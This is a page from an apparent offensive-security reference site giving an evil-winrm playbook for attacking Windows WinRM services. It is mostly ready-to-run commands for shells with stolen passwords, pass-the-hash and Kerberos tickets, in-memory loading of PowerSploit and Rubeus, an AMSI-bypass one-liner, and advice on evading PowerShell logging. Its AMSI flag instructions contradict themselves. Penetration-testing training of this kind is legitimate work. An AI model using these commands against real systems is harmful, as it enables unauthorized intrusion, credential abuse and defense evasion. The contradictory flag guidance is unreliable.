# evil-winrm – Full WinRM Shell Usage Guide > Exploit WinRM with evil-winrm for interactive PowerShell shells using credentials, hashes, SSL, file transfer, and in-memory script/assembly loading. - **URL:** https://hackindex.io/services/winrm/exploitation/evil-winrm - **Path:** WinRM > Exploitation - **Up:** [Exploitation](https://hackindex.io/services/winrm/exploitation.md) - **Published:** 2026-03-12 - **Updated:** 2026-07-10 evil-winrm is the primary tool for interactive WinRM sessions. It supports multiple authentication methods and built-in post-exploitation features: - Plaintext passwords, NT hashes, Kerberos tickets, and SSL certificates - File upload and download within the session - PowerShell module loading from a local directory - .NET assembly execution in memory via reflective loading - Built-in AMSI bypass for loading flagged scripts ## Evil-WinRM Shell Connection With a password: ```bash evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD ``` With a domain account: ```bash evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN ``` Over HTTPS (port 5986): ```bash evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -S ``` `-S` enables SSL. Use `-c` and `-k` to supply a client certificate and private key for certificate-based authentication: ```bash evil-winrm -i $TARGET_IP -u $USER -S -c /path/to/cert.pem -k /path/to/key.pem ``` ## Pass-the-Hash Supply the NT hash directly: no password needed: ```bash evil-winrm -i $TARGET_IP -u $USER -H $NTHASH ``` With a domain: ```bash evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN ``` ## Kerberos Authentication Set `KRB5CCNAME` to your ccache file and connect using the hostname rather than the IP: ```bash export KRB5CCNAME=/path/to/ticket.ccache evil-winrm -i $TARGET_HOSTNAME -u $USER -r $DOMAIN ``` `-r` specifies the Kerberos realm. Use the FQDN or hostname: Kerberos ticket validation is hostname-based and will fail against raw IPs. Add the hostname to `/etc/hosts` if needed: ```bash echo "$TARGET_IP $TARGET_HOSTNAME.$DOMAIN" >> /etc/hosts ``` ## File Upload and Download Upload a file to the remote session: ```powershell upload /path/to/local/file.exe C:\Windows\Temp\file.exe ``` Download a file from the remote session: ```powershell download C:\Windows\Temp\output.txt /tmp/output.txt ``` Without a destination path, the file downloads to the current local directory. ## Loading PowerShell Scripts into the Session Point evil-winrm at a local directory containing `.ps1` files. They load automatically and their functions become available in the remote shell: ```powershell evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -s /opt/powershell-scripts/ ``` Any `.ps1` file in that directory can be imported in the session: ```powershell Invoke-PowerShellScript.ps1 ``` Or just call the function name directly if it is exported. This is the cleanest way to load tools like PowerView, PowerUp, and SharpHound without uploading files to disk. Useful directories to pre-populate: ```bash /usr/share/powershell-empire/empire/server/data/module_source/ /opt/PowerSploit/ /opt/nishang/ ``` ## Loading .NET Executables evil-winrm can load and execute .NET assemblies directly in memory using the `-e` flag: ```bash evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -e /opt/executables/ ``` Then invoke from the shell: ```powershell Invoke-Binary /opt/executables/Rubeus.exe asreproast ``` This executes the binary in a reflective loader without writing it to disk. ## AMSI Bypass evil-winrm ships with a built-in AMSI bypass that patches the AMSI scan buffer in memory before executing scripts. Enable it with: ```bash evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -s /opt/powershell-scripts/ --no-amsi-bypass ``` Actually, the bypass is on by default. Disable it only if causing issues: ```bash evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD --no-amsi-bypass ``` If AMSI is blocking specific tools loaded via `-s`, patch AMSI manually in the session first: ```powershell [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` ## Running Commands Non-Interactively Execute a single command and exit without opening an interactive shell: ```bash evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -e /opt/executables/ -c "whoami /all" ``` Or pipe commands in: ```bash echo "whoami" | evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD ``` ## Checking Current User and Privileges Once inside: ```powershell whoami /all net user $USER /domain net localgroup Administrators ``` Check if you are in a Constrained Language Mode session: ```powershell $ExecutionContext.SessionState.LanguageMode ``` If the output is `ConstrainedLanguage`, see [https://hackindex.io/services/winrm/privilege-escalation/constrained-language-bypass](https://hackindex.io/services/winrm/privilege-escalation/constrained-language-bypass) for bypass techniques. If you land in a JEA endpoint instead of a full shell: ```powershell Get-Command ``` A very short list of allowed commands confirms JEA. See [https://hackindex.io/services/winrm/privilege-escalation/jea-escape](https://hackindex.io/services/winrm/privilege-escalation/jea-escape) for escape techniques. ## Logging and Transcript Note PowerShell remoting over WinRM logs to the `Microsoft-Windows-PowerShell/Operational` event log. Every command you run is recorded. Script block logging and module logging may also be active. If operational security matters, load tools in memory rather than writing to disk, and avoid running Invoke-Expression on string-concatenated commands which triggers additional logging. ## References - [evil-winrm](https://github.com/Hackplayers/evil-winrm) - Hackplayers Full option reference including certificate auth, AMSI bypass, and module loading flags.